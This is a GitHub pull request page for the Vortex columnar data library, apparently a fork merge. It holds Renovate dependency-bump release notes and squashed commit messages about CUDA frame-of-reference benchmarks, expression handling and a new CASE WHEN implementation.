![age](https://developer.mend.io/api/mc/badges/age/crate/chrono/0.4.43?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/chrono/0.4.42/0.4.43?slim=true)
|
| [insta](https://insta.rs/)
([source](https://redirect.github.com/mitsuhiko/insta)) |
workspace.dependencies | patch | `1.46.0` → `1.46.1` |
![age](https://developer.mend.io/api/mc/badges/age/crate/insta/1.46.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/insta/1.46.0/1.46.1?slim=true)
|
| [thiserror](https://redirect.github.com/dtolnay/thiserror) |
workspace.dependencies | patch | `2.0.17` → `2.0.18` |
![age](https://developer.mend.io/api/mc/badges/age/crate/thiserror/2.0.18?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/thiserror/2.0.17/2.0.18?slim=true)
|
|
[org.immutables:value](https://redirect.github.com/immutables/immutables/tree/value)
([source](https://redirect.github.com/immutables/immutables)) |
dependencies | patch | `2.12.0` → `2.12.1` |
![age](https://developer.mend.io/api/mc/badges/age/maven/org.immutables:value/2.12.1?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/maven/org.immutables:value/2.12.0/2.12.1?slim=true)
|

---

### Release Notes

<details>
<summary>rust-lang/cc-rs (cc)</summary>

###
[`v1.2.53`](https://redirect.github.com/rust-lang/cc-rs/blob/HEAD/CHANGELOG.md#1253---2026-01-16)

[Compare
Source](https://redirect.github.com/rust-lang/cc-rs/compare/cc-v1.2.52...cc-v1.2.53)

##### Other

- Add missing RISC-V targets
([#&#8203;1657](https://redirect.github.com/rust-lang/cc-rs/pull/1657))

</details>

<details>
<summary>chronotope/chrono (chrono)</summary>

###
[`v0.4.43`](https://redirect.github.com/chronotope/chrono/releases/tag/v0.4.43):
0.4.43

[Compare
Source](https://redirect.github.com/chronotope/chrono/compare/v0.4.42...v0.4.43)

##### What's Changed

- Install extra components for lint workflow by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1741](https://redirect.github.com/chronotope/chrono/pull/1741)
- Upgrade windows-bindgen to 0.64 by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1742](https://redirect.github.com/chronotope/chrono/pull/1742)
- Improve windows-bindgen setup by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1744](https://redirect.github.com/chronotope/chrono/pull/1744)
- Drop stabilized feature doc\_auto\_cfg by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1745](https://redirect.github.com/chronotope/chrono/pull/1745)
- Faster RFC 3339 parsing by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1748](https://redirect.github.com/chronotope/chrono/pull/1748)
- Update windows-bindgen requirement from 0.64 to 0.65 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;1751](https://redirect.github.com/chronotope/chrono/pull/1751)
- add `NaiveDate::abs_diff` by
[@&#8203;Kinrany](https://redirect.github.com/Kinrany) in
[#&#8203;1752](https://redirect.github.com/chronotope/chrono/pull/1752)
- Add feature gated defmt support. by
[@&#8203;pebender](https://redirect.github.com/pebender) in
[#&#8203;1747](https://redirect.github.com/chronotope/chrono/pull/1747)
- Drop deny lints, eager Debug impls are a mixed blessing by
[@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1753](https://redirect.github.com/chronotope/chrono/pull/1753)
- chore: minor improvement for docs by
[@&#8203;spuradage](https://redirect.github.com/spuradage) in
[#&#8203;1756](https://redirect.github.com/chronotope/chrono/pull/1756)
- Added doctest for the NaiveDate years\_since function by
[@&#8203;LucasBou](https://redirect.github.com/LucasBou) in
[#&#8203;1755](https://redirect.github.com/chronotope/chrono/pull/1755)
- Prepare 0.4.43 by [@&#8203;djc](https://redirect.github.com/djc) in
[#&#8203;1765](https://redirect.github.com/chronotope/chrono/pull/1765)
- Update copyright year to 2026 in LICENSE.txt by
[@&#8203;taozui472](https://redirect.github.com/taozui472) in
[#&#8203;1767](https://redirect.github.com/chronotope/chrono/pull/1767)

</details>

<details>
<summary>mitsuhiko/insta (insta)</summary>

###
[`v1.46.1`](https://redirect.github.com/mitsuhiko/insta/blob/HEAD/CHANGELOG.md#1461)

[Compare
Source](https://redirect.github.com/mitsuhiko/insta/compare/1.46.0...1.46.1)

- Fix inline snapshot corruption when multiple snapshots appear inside
`with_settings!` macro.
[#&#8203;858](https://redirect.github.com/mitsuhiko/insta/issues/858)

</details>

<details>
<summary>dtolnay/thiserror (thiserror)</summary>

###
[`v2.0.18`](https://redirect.github.com/dtolnay/thiserror/releases/tag/2.0.18)

[Compare
Source](https://redirect.github.com/dtolnay/thiserror/compare/2.0.17...2.0.18)

- Make compatible with project-level `needless_lifetimes = "forbid"`
([#&#8203;443](https://redirect.github.com/dtolnay/thiserror/issues/443),
thanks
[@&#8203;LucaCappelletti94](https://redirect.github.com/LucaCappelletti94))

</details>

<details>
<summary>immutables/immutables (org.immutables:value)</summary>

###
[`v2.12.1`](https://redirect.github.com/immutables/immutables/releases/tag/2.12.1)

[Compare
Source](https://redirect.github.com/immutables/immutables/compare/2.12.0...2.12.1)

##### Maintenance & bugfix release

-
[#&#8203;1631](https://redirect.github.com/immutables/immutables/issues/1631)
new PlainAttribute as a workaround
-
[#&#8203;1632](https://redirect.github.com/immutables/immutables/issues/1632)
fixed incompatibility of builders for package-private records and
visibility=PUBLIC
-
[#&#8203;1630](https://redirect.github.com/immutables/immutables/issues/1630)
fixed Staged builder's new `start()` incompatible with pojos etc.

##### What's Changed

- JDK 23+ (Upgraded build and matrix to include Java 25/javac) by
[@&#8203;SimY4](https://redirect.github.com/SimY4) in
[#&#8203;1627](https://redirect.github.com/immutables/immutables/pull/1627)

**Full Changelog**:
<immutables/immutables@2.12.0...2.12.1>

</details>

---

### Configuration

📅 **Schedule**: Branch creation - Between 12:00 AM and 03:59 AM, only on
Monday ( * 0-3 * * 1 ) (UTC), Automerge - At any time (no schedule
defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/vortex-data/vortex).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi43NC41IiwidXBkYXRlZEluVmVyIjoiNDIuNzQuNSIsInRhcmdldEJyYW5jaCI6ImRldmVsb3AiLCJsYWJlbHMiOlsiY2hvcmUiXX0=-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR changes the FoR impl to use loop unrolling which in some
scenarios leads up to a ~85% speedup. As part of that, new benchmarks
and tests are introduced.

Benchmarks were run on an A10:
```
FoR_cuda_u8/u8_FoR/1K   time:   [4.6619 µs 4.6818 µs 4.7073 µs]
                        thrpt:  [202.59 MiB/s 203.70 MiB/s 204.57 MiB/s]
                 change:
                        time:   [−6.9968% −6.1892% −5.2750%] (p = 0.00 < 0.05)
                        thrpt:  [+5.5687% +6.5976% +7.5232%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) high mild
FoR_cuda_u8/u8_FoR/10K  time:   [4.4583 µs 4.4809 µs 4.5139 µs]
                        thrpt:  [2.0632 GiB/s 2.0784 GiB/s 2.0890 GiB/s]
                 change:
                        time:   [−0.0233% +0.7648% +1.5942%] (p = 0.10 > 0.05)
                        thrpt:  [−1.5692% −0.7590% +0.0233%]
                        No change in performance detected.
FoR_cuda_u8/u8_FoR/100K time:   [4.5262 µs 4.5439 µs 4.5736 µs]
                        thrpt:  [20.363 GiB/s 20.496 GiB/s 20.576 GiB/s]
                 change:
                        time:   [−8.9445% −7.7897% −6.6445%] (p = 0.00 < 0.05)
                        thrpt:  [+7.1175% +8.4477% +9.8231%]
                        Performance has improved.
FoR_cuda_u8/u8_FoR/1M   time:   [4.4380 µs 4.4598 µs 4.4891 µs]
                        thrpt:  [207.46 GiB/s 208.83 GiB/s 209.85 GiB/s]
                 change:
                        time:   [+0.0679% +0.9488% +1.7990%] (p = 0.05 > 0.05)
                        thrpt:  [−1.7672% −0.9399% −0.0679%]
                        No change in performance detected.
FoR_cuda_u8/u8_FoR/10M  time:   [4.4880 µs 4.5013 µs 4.5293 µs]
                        thrpt:  [2056.2 GiB/s 2069.0 GiB/s 2075.2 GiB/s]
                 change:
                        time:   [−3.4123% −2.6199% −1.6909%] (p = 0.00 < 0.05)
                        thrpt:  [+1.7200% +2.6903% +3.5328%]
                        Performance has improved.
Found 2 outliers among 10 measurements (20.00%)
  2 (20.00%) high mild

FoR_cuda_u16/u16_FoR/1K time:   [4.7696 µs 4.7820 µs 4.8017 µs]
                        thrpt:  [397.22 MiB/s 398.86 MiB/s 399.90 MiB/s]
                 change:
                        time:   [−31.818% −31.216% −30.430%] (p = 0.00 < 0.05)
                        thrpt:  [+43.739% +45.384% +46.666%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) high severe
FoR_cuda_u16/u16_FoR/10K
                        time:   [4.9942 µs 5.0030 µs 5.0114 µs]
                        thrpt:  [3.7168 GiB/s 3.7231 GiB/s 3.7296 GiB/s]
                 change:
                        time:   [−46.715% −46.619% −46.535%] (p = 0.00 < 0.05)
                        thrpt:  [+87.039% +87.332% +87.671%]
                        Performance has improved.
FoR_cuda_u16/u16_FoR/100K
                        time:   [11.371 µs 11.387 µs 11.396 µs]
                        thrpt:  [16.345 GiB/s 16.358 GiB/s 16.381 GiB/s]
                 change:
                        time:   [−26.577% −26.455% −26.344%] (p = 0.00 < 0.05)
                        thrpt:  [+35.767% +35.972% +36.197%]
                        Performance has improved.
FoR_cuda_u16/u16_FoR/1M time:   [4.9764 µs 4.9958 µs 5.0073 µs]
                        thrpt:  [371.98 GiB/s 372.84 GiB/s 374.29 GiB/s]
                 change:
                        time:   [−46.584% −46.382% −46.210%] (p = 0.00 < 0.05)
                        thrpt:  [+85.906% +86.503% +87.210%]
                        Performance has improved.
FoR_cuda_u16/u16_FoR/10M
                        time:   [11.157 µs 11.211 µs 11.248 µs]
                        thrpt:  [1656.0 GiB/s 1661.4 GiB/s 1669.5 GiB/s]
                 change:
                        time:   [−26.916% −26.493% −26.164%] (p = 0.00 < 0.05)
                        thrpt:  [+35.435% +36.042% +36.828%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) low mild

FoR_cuda_u32/u32_FoR/1K time:   [5.2116 µs 5.2613 µs 5.3102 µs]
                        thrpt:  [718.37 MiB/s 725.05 MiB/s 731.96 MiB/s]
                 change:
                        time:   [−26.511% −25.998% −25.368%] (p = 0.00 < 0.05)
                        thrpt:  [+33.990% +35.132% +36.075%]
                        Performance has improved.
FoR_cuda_u32/u32_FoR/10K
                        time:   [5.5475 µs 5.5554 µs 5.5633 µs]
                        thrpt:  [6.6962 GiB/s 6.7057 GiB/s 6.7152 GiB/s]
                 change:
                        time:   [−39.450% −39.349% −39.240%] (p = 0.00 < 0.05)
                        thrpt:  [+64.582% +64.877% +65.153%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) low mild
FoR_cuda_u32/u32_FoR/100K
                        time:   [9.3362 µs 9.3806 µs 9.4250 µs]
                        thrpt:  [39.525 GiB/s 39.713 GiB/s 39.902 GiB/s]
                 change:
                        time:   [−25.760% −25.359% −24.988%] (p = 0.00 < 0.05)
                        thrpt:  [+33.312% +33.974% +34.698%]
                        Performance has improved.
FoR_cuda_u32/u32_FoR/1M time:   [13.072 µs 13.168 µs 13.267 µs]
                        thrpt:  [280.78 GiB/s 282.91 GiB/s 284.98 GiB/s]
                 change:
                        time:   [−18.493% −14.861% −9.3593%] (p = 0.00 < 0.05)
                        thrpt:  [+10.326% +17.455% +22.689%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) low mild
FoR_cuda_u32/u32_FoR/10M
                        time:   [174.68 µs 174.95 µs 175.20 µs]
                        thrpt:  [212.63 GiB/s 212.94 GiB/s 213.26 GiB/s]
                 change:
                        time:   [−1.4814% −1.2404% −1.0022%] (p = 0.00 < 0.05)
                        thrpt:  [+1.0124% +1.2560% +1.5036%]
                        Performance has improved.

FoR_cuda_u64/u64_FoR/1K time:   [5.8007 µs 5.8204 µs 5.8478 µs]
                        thrpt:  [1.2741 GiB/s 1.2801 GiB/s 1.2844 GiB/s]
                 change:
                        time:   [−18.401% −18.040% −17.687%] (p = 0.00 < 0.05)
                        thrpt:  [+21.488% +22.010% +22.551%]
                        Performance has improved.
FoR_cuda_u64/u64_FoR/10K
                        time:   [13.322 µs 13.378 µs 13.445 µs]
                        thrpt:  [5.5417 GiB/s 5.5695 GiB/s 5.5925 GiB/s]
                 change:
                        time:   [−17.451% −17.049% −16.645%] (p = 0.00 < 0.05)
                        thrpt:  [+19.969% +20.553% +21.140%]
                        Performance has improved.
FoR_cuda_u64/u64_FoR/100K
                        time:   [12.205 µs 12.319 µs 12.462 µs]
                        thrpt:  [59.788 GiB/s 60.478 GiB/s 61.044 GiB/s]
                 change:
                        time:   [−19.829% −19.168% −18.499%] (p = 0.00 < 0.05)
                        thrpt:  [+22.697% +23.713% +24.734%]
                        Performance has improved.
FoR_cuda_u64/u64_FoR/1M time:   [33.368 µs 33.405 µs 33.464 µs]
                        thrpt:  [222.65 GiB/s 223.04 GiB/s 223.28 GiB/s]
                 change:
                        time:   [−7.8447% −7.4612% −7.0847%] (p = 0.00 < 0.05)
                        thrpt:  [+7.6249% +8.0627% +8.5124%]
                        Performance has improved.
Found 1 outliers among 10 measurements (10.00%)
  1 (10.00%) high mild
FoR_cuda_u64/u64_FoR/10M
                        time:   [341.44 µs 341.72 µs 342.10 µs]
                        thrpt:  [217.79 GiB/s 218.03 GiB/s 218.21 GiB/s]
                 change:
                        time:   [−1.8864% −1.6840% −1.4901%] (p = 0.00 < 0.05)
                        thrpt:  [+1.5126% +1.7128% +1.9226%]
                        Performance has improved.
```

Signed-off-by: Alexander Droste <alexander.droste@protonmail.com>
The current test only checks for errors, but doesn't check the error
type. Perhaps this could be improved.

example
```
    fn test_primitive_array_validation_failure_length_mismatch() {
        // Invalid case: validity length doesn't match buffer length.
        let buffer = Buffer::from_iter([1i32, 2, 3]);
        let validity = Validity::from_iter([true, false]); // Length 2, buffer is length 3.
        let result = PrimitiveArray::try_new(buffer, validity);

        assert!(matches!(result, Err(VortexError::InvalidArgument(_, _))));
        assert!(result.is_err());
    }
```

Signed-off-by: cancaicai <2356672992@qq.com>
…6023)

Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
1. Hide `vortex-cuda` which is not released yet (Do we want to release
it in the next release?)
2. Rename the `test-harness` feature into `_test-harness`, which makes
`cargo-semver-check` to ignore it.

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
assert no invalid memory access will happen on decoding time instead.

I think with vortex-data#6024 we won't
hit this with new files, but there is nothing preventing this to come
back when we add a new encoding into the mix, and this will also speed
up decoding old files that didn't have the stat propagated

---------

Signed-off-by: Onur Satici <onur@spiraldb.com>
I am testing locally on a clickbench file, after these we get 100% of
the runend -> end arrays have is_sorted set, before it was 0%

Also a note for checking this again in future, with runend validation on
we will compute is_sorted when decoding the array, so to get the stored
stats we have to disable runend validation

---------

Signed-off-by: Onur Satici <onur@spiraldb.com>
Signed-off-by: Nicholas Gates <nick@nickgates.com>
…ortex-data#6033)

Similar to vortex-data#5814, this creates a lot of unnecessary CPU usage:

<img width="924" height="423" alt="image"
src="https://github.com/user-attachments/assets/5255cc92-3068-49f1-a636-0dd0c3d14171"
/>

Signed-off-by: Alfonso Subiotto Marques <alfonso.subiotto@polarsignals.com>
See
[docs](https://github.com/mozilla-actions/sccache-action/tree/v0.0.9/?tab=readme-ov-file#cc-code).
This change takes the cxx build from ~5 minutes to just over 1 minute.

---------

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
asubiotto and others added 19 commits February 5, 2026 11:23
…ion (vortex-data#6304)

FilterVTable<ListVTable> produced a ListViewArray that did not have zctl
set. This should be trivially zctl but was likely overlooked.

Additionally, after execution into a ListViewArray, the zctl flag can be
checked again to use the optimized zctl path.

Signed-off-by: Alfonso Subiotto Marques <alfonso.subiotto@polarsignals.com>
Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
Signed-off-by: Alexander Droste <alexander.droste@protonmail.com>
Signed-off-by: Andrew Duffy <andrew@a10y.dev>
do not force host buffers on varbin construction and slice

Signed-off-by: Onur Satici <onur@spiraldb.com>
With this we can get read from a DictLayout without executing anything

---------

Signed-off-by: Onur Satici <onur@spiraldb.com>
Co-authored-by: Joe Isaacs <joe.isaacs@live.co.uk>
Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
…x-data#6312)

Signed-off-by: Joe Isaacs <joe.isaacs@live.co.uk>
…ortex-data#6321)

Closes vortex-data#6296

1. Collect large `AND`/`OR` expressions into balanced trees instead of a
left/right leaning tree, making any recursion into them shorter.
2. Drop `Expression` iteratively instead of the default recursive
approach.
3. Following vortex-data#6251, using
encoding ids instead of deep `Array::display_tree` in logs and errors.

---------

Signed-off-by: Adam Gutglick <adam@spiraldb.com>
This PR refines the concept of Array execution to mean "making progress
towards being a canonical array".

It enables _all_ of the optimizations we have discussed but have been
unable to implement in the current model. For example, `dict { codes:
slice(runend), values: primitive }` would currently never leverage the
dict-rle kernel. In this new model, the slice array is executed into
runend and then the dict-rle kernel becomes applicable.

Follow Ups:
- [ ] Restrict execute functions to a single child execution before
having to return. We will do this by passing ExecutionCtx by ownership,
meaning it can only be used once.
- [ ] Canonical arrays should error, instead of returning themselves.
This will help prevent endless execution loops.
- [ ] Much bigger fix, but move arrays onto the new vtable format so
Array::children is cheap. This is a huge portion of execution given we
swap each child out and re-run. It would also make with_children much
cheaper.

---------

Signed-off-by: Nicholas Gates <nick@nickgates.com>
* N-ary

* fix: update threshold and value literals in n-ary CASE WHEN benchmark

* refactor: streamline context creation in benchmarks and improve test readability
Signed-off-by: Luke Kim <80174+lukekim@users.noreply.github.com>
@lukekim lukekim changed the base branch from develop to spiceai-51 February 5, 2026 23:02
sgrebnov and others added 10 commits February 5, 2026 15:21
* Fix session get-or-default (vortex-data#5662)

The comments described this get-or-default, but instead it was a panic

---------

Signed-off-by: Nicholas Gates <nick@nickgates.com>

* feat: Support retrieving writer strategy builder from vortex session

---------

Signed-off-by: Nicholas Gates <nick@nickgates.com>
Co-authored-by: Nicholas Gates <gatesn@users.noreply.github.com>
* fix: Ensure CastExpr/CastColumnExpr/ScalarFunctionExpr check children in can_be_pushed_down

The can_be_pushed_down function was returning true for CastExpr and CastColumnExpr
without checking if their child expressions are convertible. This caused runtime
errors when the child contained expressions like CaseExpr that convert() cannot
handle.

Also fixed ScalarFunctionExpr to recursively check its arguments.

Fixes spiceai/spiceai#9037

* Add Case-When Expression and tests

* Implement execute()

* Add additional tests and fix type issue

* Fix toml lint

* feat(case_when): implement lazy evaluation to avoid side effects in unevaluated branches

This implements proper lazy evaluation in CaseWhen expression to ensure
that THEN/ELSE branches are only evaluated for rows where they apply.
This is critical for correctness when expressions have side effects like
divide-by-zero panics.

The implementation:
1. Evaluates conditions in order, tracking which rows have been matched
2. For each condition, computes an effective mask (condition AND NOT matched)
3. Uses filter() to create a scoped array with only matching rows
4. Evaluates THEN expression only on the filtered scope
5. Uses scatter_with_mask() to expand results back to original positions
6. Short-circuits when all rows are matched or all conditions fail

This fixes TPC-DS Q73 which has a pattern like:
  CASE WHEN hd_vehicle_count > 0
       THEN hd_dep_count/hd_vehicle_count
       ELSE NULL END

Previously, the division would be evaluated for all rows including those
where hd_vehicle_count=0, causing a divide-by-zero panic. Now the division
is only evaluated for rows where the condition is true.

Added test: test_evaluate_divide_by_zero_protected_by_case_when

* Formatting
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.